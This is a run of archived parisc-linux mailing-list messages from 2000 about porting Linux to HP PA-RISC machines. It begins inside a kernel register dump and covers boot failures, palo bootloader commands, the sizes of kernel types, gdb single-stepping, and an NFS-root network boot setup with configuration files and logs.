8500 c7f98000 c028160c 00000000 76fd1fb2 ed8c8a36 db19146d b63228db 6c6451b7
8520 d8be163c b17c2c79 62f858f3 c01001f0 8b0c0969 161812d3 2c4690f4 58fb94ba
8540 b1819c26 6303384d c670c5c8 8ce18b91 19c31723 33f09b14 6797837a cf59b3a6
8560 9eb3674d 3d66ce9b 7abb2864 c0294ef4 ea01cb35 d403966b a8072cd7 500e59af
8580 00000000 c02b0000 81dead60 03bd5ac1 00000060 c027c35c c027c35c c025920c
85a0 7234ad2e e41fef0e c83fde1d c0294ea0 20ff7877 418845bc 83663e2a 06cc7c55
85c0 c02ad30c c02ad2cc 00000000 00000000 00000000 c7f985d4 c7f985d4 c7f985dc
85e0 c7f985dc c7f985e4 00000000 c0298ca0 00000000 c7f985d4 c7f985d4 c7f985dc
8600 c027e800 00000000 00000000 00000000 000000fa 000000f2 000000ff c0295514
8620 000000f0 c02cb800 c02b06c0 c0299814 c028160c c02ad30c c02ad2bc c028160c
8640 c02b06c0 c7f98000 c028160c c02ad30c c02ad2d0 c7f94800 c0230add 0000003e
8660 c027c000 00000001 c02b6206 c0299744 c02b61ce 00000037 c02b6206 00000000
8680 c02ad30c c02ad2d0 00000040 c02cb800 000000fa 000000f2 000000ff c0295514
86a0 000000f0 c02cb800 c02b06c0 c02a4af4 c028160c c02ad30c c02ad2d0 c7f98000
86c0 c028b800 c01e2468 ffffffff c028b1e4 c7ffc400 c028160c c024256c c0186688
86e0 c028160c c02c6104 c01e2468 c029c4e0 c028b310 c028b1b4 c7f988c0 00000000
8700 ffffffff 0000ffe0 0060b03c 08d4bcfc 00000000 00000008 c0295514 000000f0
8720 c02cb800 c028b800 c01e2468 ffffffff c028b1e4 c7ffc400 c02bfc1c c02bfe50
8740 00000063 00000008 c7f98718 c024256c 00000000 c0285038 c028b1b9 c0242340
8760 45e69c6a 25b7ea20 41800000 c029c248 00000010 00000010 00000000 00000000
8780 0004000b c02ca800 c029c248 00000000 c7ffc400 ffffffff c01e2468 c028b800
87a0 c02cb800 000000f0 00000000 000000ff 000000f2 000000fa 000000fd f0100000
87c0 f0001180 f0000070 f0000068 00000000 c7f9870e 00000002 c029c4d0 ffd07000
87e0 c7f98710 00000f20 00000000 c0268000 00000001 00000000 c7f989c0 002b31b8
8800 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
8820 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8840 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
8860 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
8880 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
88a0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
88c0 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
88e0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
8900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8920 00000000 00000000 c029c264 c029c268 00000000 00000000 c7f98b00 00000000
8940 00000000 00000000 0000001f 00000000 0000001f 0e681096 00000000 00000004
8960 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8980 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
89a0 45e69c6a 25b7ea20 41800000 c01046e0 00000010 00000010 00000000 00000000

Data access rights fault in kernel: Code=26 regs=c7f98780 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c02ca800 c029c248 00000000
r4-7     c7ffc400 ffffffff c01e2468 c028b800
r8-11    c02cb800 000000f0 00000000 000000ff
r12-15   000000f2 000000fa 000000fd f0100000
r16-19   f0001180 f0000070 f0000068 00000000
r20-23   c7f9870e 00000002 c029c4d0 ffd07000
r24-27   c7f98710 00000f20 00000000 c0268000
r28-31   00000001 00000000 c7f989c0 002b31b8
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c029c264 c029c268
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
ORIG_R28: 00000000

--------------F7EF1B69F0A7C4C7DD54E27D--


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <ixs@ixs.bb.bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 250/1 doesn't boot but dumps stack
Date: Wed, 15 Nov 2000 20:28:28 +0100 (CET)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10011152026220.7480-100000@gate.ixs.com>
References: <3A143389.CA59F143@bawue.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619290 6247 80.91.229.3 (22 Nov 2014 01:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ixs@ixs.bb.bawue.de  Wed Nov 15 12:26:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA32068
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:26:38 -0700
Original-Received: (qmail 6340 invoked by uid 15267); 15 Nov 2000 19:28:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6313 invoked from network); 15 Nov 2000 19:28:32 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 19:28:32 -0000
Original-Received: from gate.ixs.bb.bawue.de (p3E9D2999.dip.t-dialin.net [62.157.41.153])
	by bender.bawue.de (Postfix) with ESMTP id D3707817
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 20:28:29 +0100 (CET)
Original-Received: from localhost (ixs@localhost)
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id UAA20282
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 20:28:28 +0100
X-Sender: ixs@gate.ixs.com
In-Reply-To: <3A143389.CA59F143@bawue.de>
Xref: news.gmane.org gmane.linux.ports.parisc:8449

Hi again,

just to clear something up:

On Thu, 16 Nov 2000, Andreas Thienemann wrote:

> the pty interfaces. (I already left out everything unnecessary, such as
> parallel port support)
I just noticed I attached the wrong file. The attached bootlog was from a
kernel that still had support for lp0.
But with another kernel, this time without lp support, this errors were
the same...

bye,
 Andreas


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Wed, 15 Nov 2000 11:26:30 -0800
Lines: 78
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001115112439.01ec17a0@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001114142101.00a69910@mail.webcash.com>
 <5.0.0.25.0.20001115095344.01f15cb0@mail.webcash.com> <007c01c04f2f$6679f620$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619290 6250 80.91.229.3 (22 Nov 2014 01:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:30 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: kailasr@webcash.com  Wed Nov 15 12:27:48 2000
Original-Received: from ns2.imedia.net (ns2.imedia.net [209.247.154.4])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA32338
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:27:47 -0700
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eAFJOox30378;
	Wed, 15 Nov 2000 11:24:50 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <007c01c04f2f$6679f620$a832d793@esiee.fr>
Original-References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001114142101.00a69910@mail.webcash.com>
 <5.0.0.25.0.20001115095344.01f15cb0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8450


Thomas,
I mounted the /dev/sda3 on mnt and deleted every thing and recopied then 
rebooted. It worked. Probably there was some fault while I copied yesterday.
I did not repartition the disk now.
Thanks

Regards
Kailas
At 07:10 PM 11/15/00 +0100, Thomas Marteau wrote:
>Hi again,
>
>     You put the swap partition before the f0 partition and here it is the f0
>partition in first position.
>     Also, your hard disk is ida instead of sda, what's that ?
>
>Bye,
>
>ESIEE Team
>----- Original Message -----
>From: Kailashnath V Rampure <kailasr@webcash.com>
>To: Thomas Marteau <marteaut@esiee.fr>
>Cc: <parisc-linux@puffin.external.hp.com>
>Sent: Wednesday, November 15, 2000 6:55 PM
>Subject: Re: [parisc-linux] Boot command
>
>
> > Yes Thomas the vmlinux is in /boot of 3rd partition as the other
>partitions
> > are swap and f0.
> >
> > At 11:48 AM 11/15/00 +0100, Thomas Marteau wrote:
> >
> > >----- Original Message -----
> > >From: Kailashnath V Rampure <kailasr@webcash.com>
> > >To: Paul Bame <bame@noam.fc.hp.com>
> > >Cc: Grant Grundler <grundler@cup.hp.com>; Matt Taggart
> > ><taggart@carmen.fc.hp.com>; <parisc-linux@thepuffingroup.com>
> > >Sent: Tuesday, November 14, 2000 11:58 PM
> > >Subject: Re: [parisc-linux] Boot command
> > >
> > >
> > > > I have booted HP A class server through network. On that I have
> > >repartioned
> > > > the system and followed the steps on
> > >http://www.parisc-linux.org/install.html.
> > > > I have used the following command to initialize the hard disk. The
>kernel
> > >I
> > > > have downloaded is vmlinux-20001018. and cpied it to /mnt/boot/vmlinux
> > > > after mounting /dev/sda3. I have used the following command to
>initialize
> > > > the HDD.
> > > >
> > > > palo -I -k /boot/vmlinux -b /boot/iplboot \ -c '3/boot/vmlinux
>TERM=linux
> > > > HOME=/ root=/dev/sda3' \ /dev/sda
> > >
> > >This means that vmlinux must be in /boot in your third partition on your
> > >disk.
> > >Is it true in your case?
> > >
> > > > --------------------------------
> > > > I get the following error:
> > > > --------------------------------
> > > > SOFT Boot.
> > > > palo ipl bame@noam Tue oct 31 14:18:02 MST 2000
> > > > 0/vmlinux 2138614 bytes@ 0x1f78c000
> > > > 0/palo-cmdline '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3'
> > > > /dev/ida1 82 62 1030688
> > > > /dev/ida2 f0 1030750 24738
> > > > /dev/ida3 83 1055488 1030750
> > > > Kernel:partition 3 file /boot/vmlinux
> > > > ext2 block size 1024
> > > > ext2_mount(partition 3) returns 0
> > > > ext2_open(/boot/vmlinux) = -1
> > > > open /boot/vmlinux failed


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: Wed, 15 Nov 2000 12:34:48 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <E13w8KW-0006ZW-00@noam.fc.hp.com>
References: <E13w62o-0006Pv-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619291 6257 80.91.229.3 (22 Nov 2014 01:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:31 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Wed Nov 15 12:32:44 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA32650
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:32:43 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id MAA10562
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:34:48 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13w8KW-0006ZW-00
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:34:48 -0700
In-Reply-To: Your message of "Wed, 15 Nov 2000 10:08:22 MST."
             <E13w62o-0006Pv-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8451


FYI I just heard some pretty good reasons why both ino_t and off_t
should be 64 bits even on 32-bit kernels.  Keep those cards and letters
coming!
	-P


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] justin
Date: Wed, 21 Apr 1999 02:14:19 +0000 (   )
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9904210213430.1492-100000@sprite>
References: <371D285B.27257199@mozilla.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619291 6259 80.91.229.3 (22 Nov 2014 01:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Shaver <shaver@mozilla.org>
Original-X-From: cjbeard@thepuffingroup.com  Tue Apr 20 22:18:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id WAA14057
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 22:18:39 -0400
Original-Received: (qmail 1819 invoked by uid 15267); 21 Apr 1999 02:17:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1394 invoked from network); 21 Apr 1999 02:10:57 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO sprite) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 02:10:57 -0000
X-Sender: cjbeard@sprite
In-Reply-To: <371D285B.27257199@mozilla.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8452


> > > > puffin, is binutils-x-hppa ok?
> > >
> > > binutils-x-parisc, no?
> > 
> > oops :) yes, that is what i used. is it the proper label?
> 
> To the best of my meagre knowledge, yes.

I believe that's the story we're sticking to, for the moment. ;)



From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 250/1 doesn't boot but dumps stack
Date: Wed, 15 Nov 2000 11:23:41 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <200011151923.LAA13597@milano.cup.hp.com>
References: <3A143389.CA59F143@bawue.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619291 6261 80.91.229.3 (22 Nov 2014 01:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andreas Thienemann <andreas@bawue.de>
Original-X-From: grundler@cup.hp.com  Wed Nov 15 12:34:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA00446
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:33:59 -0700
Original-Received: (qmail 18397 invoked by uid 15267); 15 Nov 2000 19:36:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18380 invoked from network); 15 Nov 2000 19:36:03 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 19:36:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E166E3E2; Wed, 15 Nov 2000 11:23:39 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA13597;
	Wed, 15 Nov 2000 11:23:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 16 Nov 2000 20:20:41 PST."
             <3A143389.CA59F143@bawue.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:8453

Andreas Thienemann wrote:

> But when I try to boot up this kernel it dumps stack right after initialising
> the pty interfaces. (I already left out everything unnecessary, such as
> parallel port support)
...
> parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
> Found i82596 at 0xffd07000, IRQ 87
> early initialization of device eth0 is deferred
> Initializing Lasi PS/2-keyboard port at 0xffd08000...
> Support for Lasi PS/2-psaux not yet available !
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> lp0: using parport0 (interrupt-driven).

Are you sure you left out parallel port support?


> Data access rights fault in kernel: Code=26 regs=c7f98780 (Addr=00000004)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001011
> r0-3     00000000 c02ca800 c029c248 00000000
> r4-7     c7ffc400 ffffffff c01e2468 c028b800
> r8-11    c02cb800 000000f0 00000000 000000ff
> r12-15   000000f2 000000fa 000000fd f0100000
> r16-19   f0001180 f0000070 f0000068 00000000
> r20-23   c7f9870e 00000002 c029c4d0 ffd07000
> r24-27   c7f98710 00000f20 00000000 c0268000
> r28-31   00000001 00000000 c7f989c0 002b31b8
> sr0-4    00000000 00000000 00000000 00000000
> sr4-8    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: c029c264 c029c268
>  IIR: 0e681096    ISR: 00000000  IOR: 00000004
> ORIG_R28: 00000000

Smells like a driver bug.
Can you look up IOAQ and GR2 (c029c264 and c029c248) in System.map file?

grant


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 14:49:02 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200011151949.OAA22929@hiauly1.hia.nrc.ca>
References: <20001115184808.P32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619292 6265 80.91.229.3 (22 Nov 2014 01:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:32 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: rhirst@linuxcare.com (Richard Hirst)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 15 12:47:11 2000
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA00792
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:47:10 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA22929;
	Wed, 15 Nov 2000 14:49:03 -0500 (EST)
In-Reply-To: <20001115184808.P32715@linuxcare.com> from "Richard Hirst" at Nov 15, 2000 06:48:08 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8454

>   I've been helping Alan Modra out with kernel changes to support
> single stepping for gdb.  Paul Bame suggested I bounced our ideas
> off you in case you (or anyone else) had any comments.  I havn't
> actually committed my changes yet.
> 
> The basic approach is to use the recovery counter to generate
> a trap every instruction.  The scheme is complicated because a
> suspended process may or may not return to user space via an RFI.

I really don't know enough to comment on the implementation choice.  Why
did you decide on this approach as opposed to inserting breaks and
enabling the taken branch branch trap (T)?  It would appear that the recovery
counter was intended to provide software recovery from hardware faults
in fault tolerant systems.  Possibly, Grant could comment on whether
it is actually useful for this purpose.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nfsroot - 712/60 - RPC - help
Date: Wed, 15 Nov 2000 13:53:03 -0600
Lines: 822
Approved: news@gmane.org
Message-ID: <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619292 6269 80.91.229.3 (22 Nov 2014 01:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j-perdue@tamu.edu  Wed Nov 15 12:52:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01269
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:52:37 -0700
Original-Received: (qmail 13981 invoked by uid 15267); 15 Nov 2000 19:54:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13963 invoked from network); 15 Nov 2000 19:54:41 -0000
Original-Received: from mail.tamu.edu (128.194.103.38)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 19:54:41 -0000
Original-Received: from whitetower.tamu.edu (dyna-0003.vpn.tamu.edu [172.16.32.3])
	by mail.tamu.edu (8.9.3/8.9.3) with ESMTP id NAA11473
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 13:54:06 -0600 (CST)
X-Sender: jkp2866@clavin.cs.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3
Xref: news.gmane.org gmane.linux.ports.parisc:8455


Howdy Puffins and others,

I have a 712/60 here that I bought for the purpose of playing
with PARISC linux.  It came w/HP-UX 9.0 which I don't want to
wax just yet (e.g. for ioscan and other HP-UX utils).  I don't
have a CD for it, so I've been trying to get NFSROOT to work.

The 712/60 is known as pancho.  The bootp server is named blacktower.
I've unzipped nfsroot-20000804.tgz as /tftpboot/pancho and exported 
it to the local net.  I can mount it from an i386 RH6.2 box, but
I think I'm having problems accessing it from PA-RISC linux.

Below are some of my config files, the output from bootp
and two attempts at booting the 712/60... one with 
debugging turned on in net/sunrpc/sysctl.c.

I'm kinda stumped.  Can anyone see where I've gone wrong?

Some notes:

a) I've tried NFSROOT=192.168.1.11  and NFSROOT=192.168.1.11/tftpboot/vmlinux
    in palo/Makefile and the results are the same (both suggestions were
    made to this list at some point)

b) I tried the APRICOT drivers, but the kernel would never see the net interface
    so I've switched to the LASI_82596 driver (doing both resulted in dupe symbols).
    The LASI driver seems to get much further.

c) my sources were updated today from the puffin's CVS tree.  The kernel
    booting below was built on those sources.

d) with debugging on, I get:
      Root-NFS: Unable to get nfsd port number from server, using default
      Root-NFS: Portmapper on server returned 2049 as nfsd port
    however, with the debugging off, I only get:
      Root-NFS: Unable to get nfsd port number from server, using default
    portmap and rpc.mountd are running on blacktower.  Why the
    conflicting report when debug is on?

e) the final message in /var/log/messages is always 
    "tftpd: read: Connection refused".  My hosts.allow and hosts.deny
    files are empty so they shouldn't be the problem.  And,
    as mentioned I can NFS mount the directory.  Is this
    the problem and if so, what is the solution???

Any help on how I can resolve this problem is appreciated.

TIA,

jack
j-perdue@tamu.edu

========== blacktower:/etc/exports ==========

/tftpboot/pancho 192.168.1.0/255.255.255.0(rw,no_root_squash)

========== blacktower:/etc/bootptab ==========
pancho:\
         :hd=/tftpboot:\
         :bf=vmlinux:\
         :ht=ether:\
         :ha=08000993DA02:\
         :sm=255.255.255.0:\
         :hn:\
         :ip=192.168.1.13:\
         :vm=rfc1048:

========== bootpd output ==========

[root@blacktower rc.d]# /usr/sbin/bootpd -d 20
bootpd: info(6):   bootptab mtime: Wed Nov 15 13:02:44 2000
bootpd: info(6):   reading "/etc/bootptab"
bootpd: info(6):   read 1 entries (1 hosts) from "/etc/bootptab"
bootpd: info(6):   recvd pkt from IP addr 0.0.0.0
bootpd: info(6):   bootptab mtime: Wed Nov 15 13:02:44 2000
bootpd: info(6):   request from Ethernet address 08:00:09:93:DA:02
bootpd: info(6):   found 192.168.1.13 (pancho)
bootpd: info(6):   bootfile="/tftpboot/vmlinux"
bootpd: info(6):   vendor magic field is 99.130.83.99
bootpd: info(6):   sending reply (with RFC1048 options)
bootpd: info(6):   setarp 192.168.1.13 - 08:00:09:93:DA:02
bootpd: info(6):   recvd pkt from IP addr 0.0.0.0
bootpd: info(6):   bootptab mtime: Wed Nov 15 13:02:44 2000
bootpd: info(6):   request from Ethernet address 08:00:09:93:DA:02
bootpd: info(6):   found 192.168.1.13 (pancho)
bootpd: info(6):   bootfile="/tftpboot/vmlinux"
bootpd: info(6):   vendor magic field is 99.130.83.99
bootpd: info(6):   request message length=364
bootpd: info(6):   extended reply, length=364, options=128
bootpd: info(6):   sending reply (with RFC1048 options)
bootpd: info(6):   setarp 192.168.1.13 - 08:00:09:93:DA:02

========== from /var/log/messages ==========

Nov 15 13:02:20 blacktower bootpd[1320]: version 2.4.3
Nov 15 13:02:20 blacktower bootpd[1320]: bootptab mtime: Wed Oct 12 00:41:28 1994
Nov 15 13:02:20 blacktower bootpd[1320]: reading "/etc/bootptab"
Nov 15 13:02:20 blacktower bootpd[1320]: read 1 entries (1 hosts) from "/etc/bootptab"
Nov 15 13:02:47 blacktower bootpd[1323]: version 2.4.3
Nov 15 13:02:47 blacktower bootpd[1323]: bootptab mtime: Wed Nov 15 13:02:44 2000
Nov 15 13:02:47 blacktower bootpd[1323]: reading "/etc/bootptab"
Nov 15 13:02:47 blacktower bootpd[1323]: read 1 entries (1 hosts) from "/etc/bootptab"
Nov 15 13:04:34 blacktower bootpd[1323]: recvd pkt from IP addr 0.0.0.0
Nov 15 13:04:34 blacktower bootpd[1323]: bootptab mtime: Wed Nov 15 13:02:44 2000
Nov 15 13:04:34 blacktower bootpd[1323]: request from Ethernet address 08:00:09:93:DA:02
Nov 15 13:04:34 blacktower bootpd[1323]: found 192.168.1.13 (pancho)
Nov 15 13:04:34 blacktower bootpd[1323]: bootfile="/tftpboot/vmlinux"
Nov 15 13:04:34 blacktower bootpd[1323]: vendor magic field is 99.130.83.99
Nov 15 13:04:34 blacktower bootpd[1323]: sending reply (with RFC1048 options)
Nov 15 13:04:34 blacktower bootpd[1323]: setarp 192.168.1.13 - 08:00:09:93:DA:02
Nov 15 13:04:35 blacktower tftpd[1325]: tftpd: trying to get file: /tftpboot/vmlinux
Nov 15 13:04:36 blacktower tftpd[1327]: tftpd: trying to get file: /tftpboot/vmlinux
Nov 15 13:04:47 blacktower bootpd[1323]: recvd pkt from IP addr 0.0.0.0
Nov 15 13:04:47 blacktower bootpd[1323]: bootptab mtime: Wed Nov 15 13:02:44 2000
Nov 15 13:04:47 blacktower bootpd[1323]: request from Ethernet address 08:00:09:93:DA:02
Nov 15 13:04:47 blacktower bootpd[1323]: found 192.168.1.13 (pancho)
Nov 15 13:04:47 blacktower bootpd[1323]: bootfile="/tftpboot/vmlinux"
Nov 15 13:04:47 blacktower bootpd[1323]: vendor magic field is 99.130.83.99
Nov 15 13:04:47 blacktower bootpd[1323]: request message length=364
